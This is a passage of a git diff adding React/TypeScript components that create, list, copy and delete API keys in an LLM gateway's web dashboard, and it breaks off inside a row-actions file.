+  const models = modelsData?.data || []
+  const groupsRaw = groupsData?.data || {}
+  const groups: ApiKeyGroupOption[] = Object.entries(groupsRaw).map(
+    ([key, info]) => ({
+      value: key,
+      label: key,
+      desc: info.desc || key,
+      ratio: info.ratio,
+    })
+  )
+
+  // Add auto group if configured
+  if (!groups.some((g) => g.value === 'auto')) {
+    groups.unshift({
+      value: 'auto',
+      label: 'auto',
+      desc: t('Auto (Circuit Breaker)'),
+    })
+  }
+
+  const form = useForm<ApiKeyFormValues>({
+    resolver: zodResolver(apiKeyFormSchema),
+    defaultValues: API_KEY_FORM_DEFAULT_VALUES,
+  })
+
+  // Load existing data when updating
+  useEffect(() => {
+    if (open && isUpdate && currentRow) {
+      // For update, fetch fresh data
+      getApiKey(currentRow.id).then((result) => {
+        if (result.success && result.data) {
+          form.reset(transformApiKeyToFormDefaults(result.data))
+        }
+      })
+    } else if (open && !isUpdate) {
+      // For create, reset to defaults
+      form.reset(API_KEY_FORM_DEFAULT_VALUES)
+    }
+  }, [open, isUpdate, currentRow, form])
+
+  const onSubmit = async (data: ApiKeyFormValues) => {
+    setIsSubmitting(true)
+    try {
+      const basePayload = transformFormDataToPayload(data)
+
+      if (isUpdate && currentRow) {
+        const result = await updateApiKey({
+          ...basePayload,
+          id: currentRow.id,
+        })
+        if (result.success) {
+          toast.success(t(SUCCESS_MESSAGES.API_KEY_UPDATED))
+          onOpenChange(false)
+          triggerRefresh()
+        } else {
+          toast.error(result.message || t(ERROR_MESSAGES.UPDATE_FAILED))
+        }
+      } else {
+        // Create mode - handle batch creation
+        const count = data.tokenCount || 1
+        let successCount = 0
+
+        for (let i = 0; i < count; i++) {
+          const result = await createApiKey({
+            ...basePayload,
+            name:
+              i === 0 && data.name
+                ? data.name
+                : `${data.name || 'default'}-${Math.random().toString(36).slice(2, 8)}`,
+          })
+          if (result.success) {
+            successCount++
+          } else {
+            toast.error(result.message || t(ERROR_MESSAGES.CREATE_FAILED))
+            break
+          }
+        }
+
+        if (successCount > 0) {
+          toast.success(
+            t('Successfully created {{count}} API Key(s)', {
+              count: successCount,
+            })
+          )
+          onOpenChange(false)
+          triggerRefresh()
+        }
+      }
+    } catch (_error) {
+      toast.error(t(ERROR_MESSAGES.UNEXPECTED))
+    } finally {
+      setIsSubmitting(false)
+    }
+  }
+
+  const handleSetExpiry = (months: number, days: number, hours: number) => {
+    if (months === 0 && days === 0 && hours === 0) {
+      form.setValue('expired_time', undefined)
+      return
+    }
+
+    const now = new Date()
+    now.setMonth(now.getMonth() + months)
+    now.setDate(now.getDate() + days)
+    now.setHours(now.getHours() + hours)
+
+    form.setValue('expired_time', now)
+  }
+
+  const { meta: currencyMeta } = getCurrencyDisplay()
+  const currencyLabel = getCurrencyLabel()
+  const tokensOnly = currencyMeta.kind === 'tokens'
+  const quotaLabel = t('Quota ({{currency}})', { currency: currencyLabel })
+  const quotaPlaceholder = tokensOnly
+    ? t('Enter quota in tokens')
+    : t('Enter quota in {{currency}}', { currency: currencyLabel })
+  const selectedGroup = form.watch('group')
+  const unlimitedQuota = form.watch('unlimited_quota')
+
+  return (
+    <Sheet
+      open={open}
+      onOpenChange={(v) => {
+        onOpenChange(v)
+        if (!v) {
+          form.reset()
+        }
+      }}
+    >
+      <SheetContent
+        side={side}
+        className='bg-background flex w-full gap-0 overflow-hidden p-0 sm:max-w-[620px]'
+      >
+        <SheetHeader className='bg-background border-b px-5 py-4 text-start'>
+          <SheetTitle className='text-lg'>
+            {isUpdate ? t('Update API Key') : t('Create API Key')}
+          </SheetTitle>
+          <SheetDescription>
+            {isUpdate
+              ? t('Update the API key by providing necessary info.')
+              : t('Add a new API key by providing necessary info.')}{' '}
+            {t("Click save when you're done.")}
+          </SheetDescription>
+        </SheetHeader>
+        <Form {...form}>
+          <form
+            id='api-key-form'
+            onSubmit={form.handleSubmit(onSubmit)}
+            className='flex-1 space-y-4 overflow-y-auto px-4 py-4'
+          >
+            <ApiKeyFormSection
+              title={t('Basic Information')}
+              description={t('Set API key basic information')}
+              icon={KeyRound}
+            >
+              <FormField
+                control={form.control}
+                name='name'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Name')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        {...field}
+                        placeholder={t('Enter a name')}
+                      />
+                    </FormControl>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='group'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Group')}</FormLabel>
+                    <FormControl>
+                      <ApiKeyGroupCombobox
+                        options={groups}
+                        value={field.value}
+                        onValueChange={field.onChange}
+                        placeholder={t('Select a group')}
+                      />
+                    </FormControl>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              {selectedGroup === 'auto' && (
+                <FormField
+                  control={form.control}
+                  name='cross_group_retry'
+                  render={({ field }) => (
+                    <FormItem className='flex min-h-20 flex-row items-center justify-between gap-4 rounded-lg border px-4 py-3'>
+                      <div className='space-y-0.5'>
+                        <FormLabel className='text-sm'>
+                          {t('Cross-group retry')}
+                        </FormLabel>
+                        <FormDescription className='text-xs'>
+                          {t(
+                            'When enabled, if channels in the current group fail, it will try channels in the next group in order.'
+                          )}
+                        </FormDescription>
+                      </div>
+                      <FormControl>
+                        <Switch
+                          checked={!!field.value}
+                          onCheckedChange={field.onChange}
+                        />
+                      </FormControl>
+                    </FormItem>
+                  )}
+                />
+              )}
+
+              <FormField
+                control={form.control}
+                name='expired_time'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Expiration Time')}</FormLabel>
+                    <div className='grid gap-2 sm:grid-cols-[minmax(0,1fr)_auto] sm:items-center'>
+                      <FormControl>
+                        <DateTimePicker
+                          value={field.value}
+                          onChange={field.onChange}
+                          placeholder={t('Never expires')}
+                          className='min-w-0'
+                        />
+                      </FormControl>
+                      <div className='grid grid-cols-4 gap-2 sm:flex'>
+                        <Button
+                          type='button'
+                          variant='outline'
+                          size='sm'
+                          className='px-3'
+                          onClick={() => handleSetExpiry(0, 0, 0)}
+                        >
+                          {t('Never')}
+                        </Button>
+                        <Button
+                          type='button'
+                          variant='outline'
+                          size='sm'
+                          className='px-3'
+                          onClick={() => handleSetExpiry(1, 0, 0)}
+                        >
+                          {t('1 Month')}
+                        </Button>
+                        <Button
+                          type='button'
+                          variant='outline'
+                          size='sm'
+                          className='px-3'
+                          onClick={() => handleSetExpiry(0, 1, 0)}
+                        >
+                          {t('1 Day')}
+                        </Button>
+                        <Button
+                          type='button'
+                          variant='outline'
+                          size='sm'
+                          className='px-3'
+                          onClick={() => handleSetExpiry(0, 0, 1)}
+                        >
+                          {t('1 Hour')}
+                        </Button>
+                      </div>
+                    </div>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              {!isUpdate && (
+                <FormField
+                  control={form.control}
+                  name='tokenCount'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Quantity')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          {...field}
+                          type='number'
+                          min='1'
+                          placeholder={t('Number of keys to create')}
+                          onChange={(e) =>
+                            field.onChange(parseInt(e.target.value, 10) || 1)
+                          }
+                        />
+                      </FormControl>
+                      <FormDescription>
+                        {t(
+                          'Create multiple API keys at once (random suffix will be added to names)'
+                        )}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+              )}
+            </ApiKeyFormSection>
+
+            <ApiKeyFormSection
+              title={t('Quota Settings')}
+              description={t('Set quota amount and limits')}
+              icon={WalletCards}
+            >
+              {!unlimitedQuota && (
+                <FormField
+                  control={form.control}
+                  name='remain_quota_dollars'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{quotaLabel}</FormLabel>
+                      <FormControl>
+                        <Input
+                          {...field}
+                          type='number'
+                          step={tokensOnly ? 1 : 0.01}
+                          placeholder={quotaPlaceholder}
+                          onChange={(e) =>
+                            field.onChange(parseFloat(e.target.value) || 0)
+                          }
+                        />
+                      </FormControl>
+                      <FormDescription>
+                        {tokensOnly
+                          ? t('Enter the quota amount in tokens')
+                          : t('Enter the quota amount in {{currency}}', {
+                              currency: currencyLabel,
+                            })}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+              )}
+
+              <FormField
+                control={form.control}
+                name='unlimited_quota'
+                render={({ field }) => (
+                  <FormItem className='flex min-h-20 flex-row items-center justify-between gap-4 rounded-lg border px-4 py-3'>
+                    <div className='space-y-0.5'>
+                      <FormLabel className='text-sm'>
+                        {t('Unlimited Quota')}
+                      </FormLabel>
+                      <FormDescription className='text-xs'>
+                        {t('Enable unlimited quota for this API key')}
+                      </FormDescription>
+                    </div>
+                    <FormControl>
+                      <Switch
+                        checked={field.value}
+                        onCheckedChange={field.onChange}
+                      />
+                    </FormControl>
+                  </FormItem>
+                )}
+              />
+            </ApiKeyFormSection>
+
+            <Collapsible open={advancedOpen} onOpenChange={setAdvancedOpen}>
+              <section className='bg-card rounded-lg border'>
+                <CollapsibleTrigger asChild>
+                  <button
+                    type='button'
+                    className='hover:bg-muted/50 flex w-full items-center gap-3 px-4 py-3 text-left transition-colors'
+                  >
+                    <div className='bg-muted text-muted-foreground flex size-10 shrink-0 items-center justify-center rounded-lg border'>
+                      <Settings2 className='size-5' />
+                    </div>
+                    <div className='min-w-0 flex-1'>
+                      <h3 className='text-sm font-medium leading-none'>
+                        {t('Advanced Settings')}
+                      </h3>
+                      <p className='text-muted-foreground mt-1 text-xs'>
+                        {t('Set API key access restrictions')}
+                      </p>
+                    </div>
+                    <ChevronDown
+                      className={cn(
+                        'text-muted-foreground size-4 shrink-0 transition-transform',
+                        advancedOpen && 'rotate-180'
+                      )}
+                    />
+                  </button>
+                </CollapsibleTrigger>
+                <CollapsibleContent>
+                  <div className='space-y-4 border-t p-4'>
+                    <FormField
+                      control={form.control}
+                      name='model_limits'
+                      render={({ field }) => (
+                        <FormItem>
+                          <FormLabel>{t('Model Limits')}</FormLabel>
+                          <FormControl>
+                            <MultiSelect
+                              options={models.map((m) => ({
+                                label: m,
+                                value: m,
+                              }))}
+                              selected={field.value}
+                              onChange={field.onChange}
+                              placeholder={t(
+                                'Select models (empty for allow all)'
+                              )}
+                            />
+                          </FormControl>
+                          <FormDescription>
+                            {t('Limit which models can be used with this key')}
+                          </FormDescription>
+                          <FormMessage />
+                        </FormItem>
+                      )}
+                    />
+
+                    <FormField
+                      control={form.control}
+                      name='allow_ips'
+                      render={({ field }) => (
+                        <FormItem>
+                          <FormLabel>
+                            {t('IP Whitelist (supports CIDR)')}
+                          </FormLabel>
+                          <FormControl>
+                            <Textarea
+                              {...field}
+                              className='min-h-20 resize-none'
+                              placeholder={t(
+                                'One IP per line (empty for no restriction)'
+                              )}
+                              rows={3}
+                            />
+                          </FormControl>
+                          <FormDescription>
+                            {t(
+                              'Do not over-trust this feature. IP may be spoofed. Please use with nginx, CDN and other gateways.'
+                            )}
+                          </FormDescription>
+                          <FormMessage />
+                        </FormItem>
+                      )}
+                    />
+                  </div>
+                </CollapsibleContent>
+              </section>
+            </Collapsible>
+          </form>
+        </Form>
+        <SheetFooter className='bg-background gap-2 border-t px-5 py-4 sm:flex-row sm:justify-end'>
+          <SheetClose asChild>
+            <Button variant='outline'>{t('Close')}</Button>
+          </SheetClose>
+          <Button form='api-key-form' type='submit' disabled={isSubmitting}>
+            {isSubmitting ? t('Saving...') : t('Save changes')}
+          </Button>
+        </SheetFooter>
+      </SheetContent>
+    </Sheet>
+  )
+}
diff --git a/new-api/web/default/src/features/keys/components/api-keys-primary-buttons.tsx b/new-api/web/default/src/features/keys/components/api-keys-primary-buttons.tsx
new file mode 100644
index 0000000..3765397
--- /dev/null
+++ b/new-api/web/default/src/features/keys/components/api-keys-primary-buttons.tsx
@@ -0,0 +1,17 @@
+import { Plus } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import { useApiKeys } from './api-keys-provider'
+
+export function ApiKeysPrimaryButtons() {
+  const { t } = useTranslation()
+  const { setOpen } = useApiKeys()
+  return (
+    <div className='flex gap-2'>
+      <Button size='sm' onClick={() => setOpen('create')}>
+        <Plus className='h-4 w-4' />
+        {t('Create API Key')}
+      </Button>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/keys/components/api-keys-provider.tsx b/new-api/web/default/src/features/keys/components/api-keys-provider.tsx
new file mode 100644
index 0000000..0595752
--- /dev/null
+++ b/new-api/web/default/src/features/keys/components/api-keys-provider.tsx
@@ -0,0 +1,170 @@
+import React, { useState, useCallback, useRef, useEffect } from 'react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import useDialogState from '@/hooks/use-dialog'
+import { fetchTokenKey, fetchTokenKeysBatch } from '../api'
+import { ERROR_MESSAGES } from '../constants'
+import { type ApiKey, type ApiKeysDialogType } from '../types'
+
+type ApiKeysContextType = {
+  open: ApiKeysDialogType | null
+  setOpen: (str: ApiKeysDialogType | null) => void
+  currentRow: ApiKey | null
+  setCurrentRow: React.Dispatch<React.SetStateAction<ApiKey | null>>
+  refreshTrigger: number
+  triggerRefresh: () => void
+  resolvedKey: string
+  setResolvedKey: React.Dispatch<React.SetStateAction<string>>
+  resolveRealKey: (id: number) => Promise<string | null>
+  resolveRealKeysBatch: (ids: number[]) => Promise<Record<number, string>>
+  resolvedKeys: Record<number, string>
+  loadingKeys: Record<number, boolean>
+  copiedKeyId: number | null
+  markKeyCopied: (id: number) => void
+}
+
+const ApiKeysContext = React.createContext<ApiKeysContextType | null>(null)
+
+export function ApiKeysProvider({ children }: { children: React.ReactNode }) {
+  const { t } = useTranslation()
+  const [open, setOpen] = useDialogState<ApiKeysDialogType>(null)
+  const [currentRow, setCurrentRow] = useState<ApiKey | null>(null)
+  const [refreshTrigger, setRefreshTrigger] = useState(0)
+  const [resolvedKey, setResolvedKey] = useState('')
+
+  const [resolvedKeys, setResolvedKeys] = useState<Record<number, string>>({})
+  const [loadingKeys, setLoadingKeys] = useState<Record<number, boolean>>({})
+  const pendingRequests = useRef<Record<number, Promise<string | null>>>({})
+
+  const [copiedKeyId, setCopiedKeyId] = useState<number | null>(null)
+  const copiedTimerRef = useRef<ReturnType<typeof setTimeout>>(undefined)
+
+  useEffect(() => {
+    return () => clearTimeout(copiedTimerRef.current)
+  }, [])
+
+  const markKeyCopied = useCallback((id: number) => {
+    setCopiedKeyId(id)
+    clearTimeout(copiedTimerRef.current)
+    copiedTimerRef.current = setTimeout(() => setCopiedKeyId(null), 2000)
+  }, [])
+
+  const triggerRefresh = useCallback(() => {
+    setRefreshTrigger((prev) => prev + 1)
+  }, [])
+
+  const resolveRealKey = useCallback(
+    async (id: number): Promise<string | null> => {
+      if (resolvedKeys[id]) return resolvedKeys[id]
+      if (id in pendingRequests.current) return pendingRequests.current[id]
+
+      const request = (async () => {
+        setLoadingKeys((prev) => ({ ...prev, [id]: true }))
+        try {
+          const res = await fetchTokenKey(id)
+          if (res.success && res.data?.key) {
+            const fullKey = `sk-${res.data.key}`
+            setResolvedKeys((prev) => ({ ...prev, [id]: fullKey }))
+            return fullKey
+          }
+          toast.error(res.message || t(ERROR_MESSAGES.UNEXPECTED))
+          return null
+        } catch {
+          toast.error(t(ERROR_MESSAGES.UNEXPECTED))
+          return null
+        } finally {
+          delete pendingRequests.current[id]
+          setLoadingKeys((prev) => {
+            const next = { ...prev }
+            delete next[id]
+            return next
+          })
+        }
+      })()
+
+      pendingRequests.current[id] = request
+      return request
+    },
+    [resolvedKeys, t]
+  )
+
+  const resolveRealKeysBatch = useCallback(
+    async (ids: number[]): Promise<Record<number, string>> => {
+      const uncachedIds = ids.filter((id) => !resolvedKeys[id])
+      if (uncachedIds.length === 0) {
+        const result: Record<number, string> = {}
+        for (const id of ids) result[id] = resolvedKeys[id]
+        return result
+      }
+
+      for (const id of uncachedIds) {
+        setLoadingKeys((prev) => ({ ...prev, [id]: true }))
+      }
+
+      try {
+        const res = await fetchTokenKeysBatch(uncachedIds)
+        if (res.success && res.data?.keys) {
+          const newKeys: Record<number, string> = {}
+          for (const [idStr, key] of Object.entries(res.data.keys)) {
+            newKeys[Number(idStr)] = `sk-${key}`
+          }
+          setResolvedKeys((prev) => ({ ...prev, ...newKeys }))
+
+          const result: Record<number, string> = { ...newKeys }
+          for (const id of ids) {
+            if (resolvedKeys[id]) result[id] = resolvedKeys[id]
+          }
+          return result
+        }
+        toast.error(res.message || t(ERROR_MESSAGES.UNEXPECTED))
+        return {}
+      } catch {
+        toast.error(t(ERROR_MESSAGES.UNEXPECTED))
+        return {}
+      } finally {
+        for (const id of uncachedIds) {
+          setLoadingKeys((prev) => {
+            const next = { ...prev }
+            delete next[id]
+            return next
+          })
+        }
+      }
+    },
+    [resolvedKeys, t]
+  )
+
+  return (
+    <ApiKeysContext
+      value={{
+        open,
+        setOpen,
+        currentRow,
+        setCurrentRow,
+        refreshTrigger,
+        triggerRefresh,
+        resolvedKey,
+        setResolvedKey,
+        resolveRealKey,
+        resolveRealKeysBatch,
+        resolvedKeys,
+        loadingKeys,
+        copiedKeyId,
+        markKeyCopied,
+      }}
+    >
+      {children}
+    </ApiKeysContext>
+  )
+}
+
+// eslint-disable-next-line react-refresh/only-export-components
+export const useApiKeys = () => {
+  const apiKeysContext = React.useContext(ApiKeysContext)
+
+  if (!apiKeysContext) {
+    throw new Error('useApiKeys has to be used within <ApiKeysContext>')
+  }
+
+  return apiKeysContext
+}
diff --git a/new-api/web/default/src/features/keys/components/api-keys-table.tsx b/new-api/web/default/src/features/keys/components/api-keys-table.tsx
new file mode 100644
index 0000000..402fb2b
--- /dev/null
+++ b/new-api/web/default/src/features/keys/components/api-keys-table.tsx
@@ -0,0 +1,257 @@
+import { useEffect, useState } from 'react'
+import { useQuery } from '@tanstack/react-query'
+import { getRouteApi } from '@tanstack/react-router'
+import {
+  type SortingState,
+  type VisibilityState,
+  flexRender,
+  getCoreRowModel,
+  getFacetedRowModel,
+  getFacetedUniqueValues,
+  getFilteredRowModel,
+  getPaginationRowModel,
+  getSortedRowModel,
+  useReactTable,
+} from '@tanstack/react-table'
+import { useMediaQuery } from '@/hooks'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { cn } from '@/lib/utils'
+import { useTableUrlState } from '@/hooks/use-table-url-state'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import {
+  DataTablePagination,
+  DataTableToolbar,
+  TableSkeleton,
+  TableEmpty,
+  MobileCardList,
+} from '@/components/data-table'
+import { PageFooterPortal } from '@/components/layout'
+import { getApiKeys, searchApiKeys } from '../api'
+import { API_KEY_STATUS_OPTIONS, ERROR_MESSAGES } from '../constants'
+import { type ApiKey } from '../types'
+import { useApiKeysColumns } from './api-keys-columns'
+import { ApiKeysPrimaryButtons } from './api-keys-primary-buttons'
+import { useApiKeys } from './api-keys-provider'
+import { DataTableBulkActions } from './data-table-bulk-actions'
+
+const route = getRouteApi('/_authenticated/keys/')
+
+export function ApiKeysTable() {
+  const { t } = useTranslation()
+  const { refreshTrigger } = useApiKeys()
+  const columns = useApiKeysColumns()
+  const isMobile = useMediaQuery('(max-width: 640px)')
+  const [rowSelection, setRowSelection] = useState({})
+  const [sorting, setSorting] = useState<SortingState>([])
+  const [columnVisibility, setColumnVisibility] = useState<VisibilityState>({})
+
+  const {
+    globalFilter,
+    onGlobalFilterChange,
+    columnFilters,
+    onColumnFiltersChange,
+    pagination,
+    onPaginationChange,
+    ensurePageInRange,
+  } = useTableUrlState({
+    search: route.useSearch(),
+    navigate: route.useNavigate(),
+    pagination: { defaultPage: 1, defaultPageSize: 20 },
+    globalFilter: { enabled: true, key: 'filter' },
+    columnFilters: [{ columnId: 'status', searchKey: 'status', type: 'array' }],
+  })
+
+  // Fetch data with React Query
+  // eslint-disable-next-line @tanstack/query/exhaustive-deps
+  const { data, isLoading, isFetching } = useQuery({
+    queryKey: [
+      'keys',
+      pagination.pageIndex + 1,
+      pagination.pageSize,
+      globalFilter,
+      refreshTrigger,
+    ],
+    queryFn: async () => {
+      // If there's a global filter, use search
+      const hasFilter = globalFilter?.trim()
+
+      if (hasFilter) {
+        const result = await searchApiKeys({ keyword: globalFilter })
+        if (!result.success) {
+          toast.error(result.message || t(ERROR_MESSAGES.SEARCH_FAILED))
+          return { items: [], total: 0 }
+        }
+        return {
+          items: result.data || [],
+          total: result.data?.length || 0,
+        }
+      }
+
+      // Otherwise use pagination
+      const result = await getApiKeys({
+        p: pagination.pageIndex + 1,
+        size: pagination.pageSize,
+      })
+
+      if (!result.success) {
+        toast.error(result.message || t(ERROR_MESSAGES.LOAD_FAILED))
+        return { items: [], total: 0 }
+      }
+
+      return {
+        items: result.data?.items || [],
+        total: result.data?.total || 0,
+      }
+    },
+    placeholderData: (previousData) => previousData,
+  })
+
+  const apiKeys = data?.items || []
+
+  const table = useReactTable({
+    data: apiKeys,
+    columns,
+    state: {
+      sorting,
+      columnVisibility,
+      rowSelection,
+      columnFilters,
+      globalFilter,
+      pagination,
+    },
+    enableRowSelection: true,
+    onRowSelectionChange: setRowSelection,
+    onSortingChange: setSorting,
+    onColumnVisibilityChange: setColumnVisibility,
+    globalFilterFn: (row, _columnId, filterValue) => {
+      const name = String(row.getValue('name')).toLowerCase()
+      const key = String(row.original.key).toLowerCase()
+      const searchValue = String(filterValue).toLowerCase()
+
+      return name.includes(searchValue) || key.includes(searchValue)
+    },
+    getCoreRowModel: getCoreRowModel(),
+    getFilteredRowModel: getFilteredRowModel(),
+    getPaginationRowModel: getPaginationRowModel(),
+    getSortedRowModel: getSortedRowModel(),
+    getFacetedRowModel: getFacetedRowModel(),
+    getFacetedUniqueValues: getFacetedUniqueValues(),
+    onPaginationChange,
+    onGlobalFilterChange,
+    onColumnFiltersChange,
+    manualPagination: !globalFilter,
+    pageCount: globalFilter
+      ? Math.ceil((data?.total || 0) / pagination.pageSize)
+      : Math.ceil((data?.total || 0) / pagination.pageSize),
+  })
+
+  const pageCount = table.getPageCount()
+  useEffect(() => {
+    ensurePageInRange(pageCount)
+  }, [pageCount, ensurePageInRange])
+
+  return (
+    <>
+      <div className='space-y-4'>
+        <div className='flex flex-col gap-2 sm:flex-row sm:items-start sm:justify-between'>
+          <ApiKeysPrimaryButtons />
+          <div className='min-w-0 sm:flex sm:justify-end'>
+            <DataTableToolbar
+              table={table}
+              searchPlaceholder={t('Filter by name or key...')}
+              filters={[
+                {
+                  columnId: 'status',
+                  title: t('Status'),
+                  options: API_KEY_STATUS_OPTIONS,
+                },
+              ]}
+            />
+          </div>
+        </div>
+        {isMobile ? (
+          <MobileCardList
+            table={table}
+            isLoading={isLoading}
+            emptyTitle={t('No API Keys Found')}
+            emptyDescription={t(
+              'No API keys available. Create your first API key to get started.'
+            )}
+          />
+        ) : (
+          <div
+            className={cn(
+              'overflow-hidden rounded-md border transition-opacity duration-150',
+              isFetching && !isLoading && 'pointer-events-none opacity-50'
+            )}
+          >
+            <Table>
+              <TableHeader>
+                {table.getHeaderGroups().map((headerGroup) => (
+                  <TableRow key={headerGroup.id}>
+                    {headerGroup.headers.map((header) => (
+                      <TableHead key={header.id} colSpan={header.colSpan}>
+                        {header.isPlaceholder
+                          ? null
+                          : flexRender(
+                              header.column.columnDef.header,
+                              header.getContext()
+                            )}
+                      </TableHead>
+                    ))}
+                  </TableRow>
+                ))}
+              </TableHeader>
+              <TableBody>
+                {isLoading ? (
+                  <TableSkeleton table={table} keyPrefix='api-keys-skeleton' />
+                ) : table.getRowModel().rows.length === 0 ? (
+                  <TableEmpty
+                    colSpan={columns.length}
+                    title={t('No API Keys Found')}
+                    description={t(
+                      'No API keys available. Create your first API key to get started.'
+                    )}
+                  />
+                ) : (
+                  table.getRowModel().rows.map((row) => (
+                    <TableRow
+                      key={row.id}
+                      data-state={row.getIsSelected() && 'selected'}
+                      className={
+                        (row.original as ApiKey).status !== 1
+                          ? 'opacity-60'
+                          : undefined
+                      }
+                    >
+                      {row.getVisibleCells().map((cell) => (
+                        <TableCell key={cell.id}>
+                          {flexRender(
+                            cell.column.columnDef.cell,
+                            cell.getContext()
+                          )}
+                        </TableCell>
+                      ))}
+                    </TableRow>
+                  ))
+                )}
+              </TableBody>
+            </Table>
+          </div>
+        )}
+        {!isMobile && <DataTableBulkActions table={table} />}
+      </div>
+      <PageFooterPortal>
+        <DataTablePagination table={table} />
+      </PageFooterPortal>
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/keys/components/data-table-bulk-actions.tsx b/new-api/web/default/src/features/keys/components/data-table-bulk-actions.tsx
new file mode 100644
index 0000000..ba17bd1
--- /dev/null
+++ b/new-api/web/default/src/features/keys/components/data-table-bulk-actions.tsx
@@ -0,0 +1,114 @@
+import { useState, useCallback } from 'react'
+import { type Table } from '@tanstack/react-table'
+import { Copy, Trash2, Loader2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { copyToClipboard } from '@/lib/copy-to-clipboard'
+import { Button } from '@/components/ui/button'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+import { DataTableBulkActions as BulkActionsToolbar } from '@/components/data-table'
+import { type ApiKey } from '../types'
+import { ApiKeysMultiDeleteDialog } from './api-keys-multi-delete-dialog'
+import { useApiKeys } from './api-keys-provider'
+
+type DataTableBulkActionsProps<TData> = {
+  table: Table<TData>
+}
+
+export function DataTableBulkActions<TData>({
+  table,
+}: DataTableBulkActionsProps<TData>) {
+  const { t } = useTranslation()
+  const { resolveRealKeysBatch } = useApiKeys()
+  const [showDeleteConfirm, setShowDeleteConfirm] = useState(false)
+  const [isCopying, setIsCopying] = useState(false)
+  const selectedRows = table.getFilteredSelectedRowModel().rows
+
+  const handleBatchCopy = useCallback(async () => {
+    if (selectedRows.length === 0) return
+
+    setIsCopying(true)
+    try {
+      const ids = selectedRows.map((row) => (row.original as ApiKey).id)
+      const keysMap = await resolveRealKeysBatch(ids)
+
+      const lines: string[] = []
+      for (const row of selectedRows) {
+        const apiKey = row.original as ApiKey
+        const realKey = keysMap[apiKey.id]
+        if (realKey) {
+          lines.push(`${apiKey.name}\t${realKey}`)
+        }
+      }
+
+      if (lines.length > 0) {
+        const ok = await copyToClipboard(lines.join('\n'))
+        if (ok) {
+          toast.success(t('Copied {{count}} key(s)', { count: lines.length }))
+        } else {
+          toast.error(t('Failed to copy keys'))
+        }
+      }
+    } catch {
+      toast.error(t('Failed to copy keys'))
+    } finally {
+      setIsCopying(false)
+    }
+  }, [selectedRows, resolveRealKeysBatch, t])
+
+  return (
+    <>
+      <BulkActionsToolbar table={table} entityName='API key'>
+        <Tooltip>
+          <TooltipTrigger asChild>
+            <Button
+              variant='outline'
+              size='icon'
+              className='size-8'
+              onClick={handleBatchCopy}
+              disabled={isCopying}
+              aria-label={t('Copy selected keys')}
+            >
+              {isCopying ? (
+                <Loader2 className='size-4 animate-spin' />
+              ) : (
+                <Copy className='size-4' />
+              )}
+            </Button>
+          </TooltipTrigger>
+          <TooltipContent>
+            <p>{t('Copy selected keys')}</p>
+          </TooltipContent>
+        </Tooltip>
+
+        <Tooltip>
+          <TooltipTrigger asChild>
+            <Button
+              variant='destructive'
+              size='icon'
+              onClick={() => setShowDeleteConfirm(true)}
+              className='size-8'
+              aria-label={t('Delete selected API keys')}
+            >
+              <Trash2 />
+              <span className='sr-only'>{t('Delete selected API keys')}</span>
+            </Button>
+          </TooltipTrigger>
+          <TooltipContent>
+            <p>{t('Delete selected API keys')}</p>
+          </TooltipContent>
+        </Tooltip>
+      </BulkActionsToolbar>
+
+      <ApiKeysMultiDeleteDialog
+        open={showDeleteConfirm}
+        onOpenChange={setShowDeleteConfirm}
+        table={table}
+      />
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/keys/components/data-table-row-actions.tsx b/new-api/web/default/src/features/keys/components/data-table-row-actions.tsx
new file mode 100644
index 0000000..09dfe09
--- /dev/null
+++ b/new-api/web/default/src/features/keys/components/data-table-row-actions.tsx
@@ -0,0 +1,259 @@
+import { useCallback } from 'react'
+import { DotsHorizontalIcon } from '@radix-ui/react-icons'
+import { type Row } from '@tanstack/react-table'
+import {
+  Trash2,
+  Edit,
+  Power,
+  PowerOff,
+  ExternalLink,
+  ArrowRightLeft,
+  Copy,
+  Link,
+} from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { copyToClipboard } from '@/lib/copy-to-clipboard'
+import { Button } from '@/components/ui/button'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuSeparator,
+  DropdownMenuSub,
+  DropdownMenuSubContent,
+  DropdownMenuSubTrigger,
+  DropdownMenuShortcut,
+  DropdownMenuTrigger,
+} from '@/components/ui/dropdown-menu'
+import { useChatPresets } from '@/features/chat/hooks/use-chat-presets'
+import { resolveChatUrl, type ChatPreset } from '@/features/chat/lib/chat-links'
+import { sendToFluent } from '@/features/chat/lib/send-to-fluent'
+import { updateApiKeyStatus } from '../api'
+import { API_KEY_STATUS, ERROR_MESSAGES, SUCCESS_MESSAGES } from '../constants'
+import { apiKeySchema } from '../types'
+import { useApiKeys } from './api-keys-provider'
+
+function getServerAddress(): string {
+  try {
+    const raw = localStorage.getItem('status')
+    if (raw) {
+      const status = JSON.parse(raw)
+      if (status.server_address) return status.server_address as string
+    }
+  } catch {
+    /* empty */
+  }
+  return window.location.origin
+}
+
+function encodeConnectionString(key: string, url: string): string {
+  return JSON.stringify({
+    _type: 'newapi_channel_conn',
+    key,
+    url,
+  })
+}
+
+type DataTableRowActionsProps<TData> = {
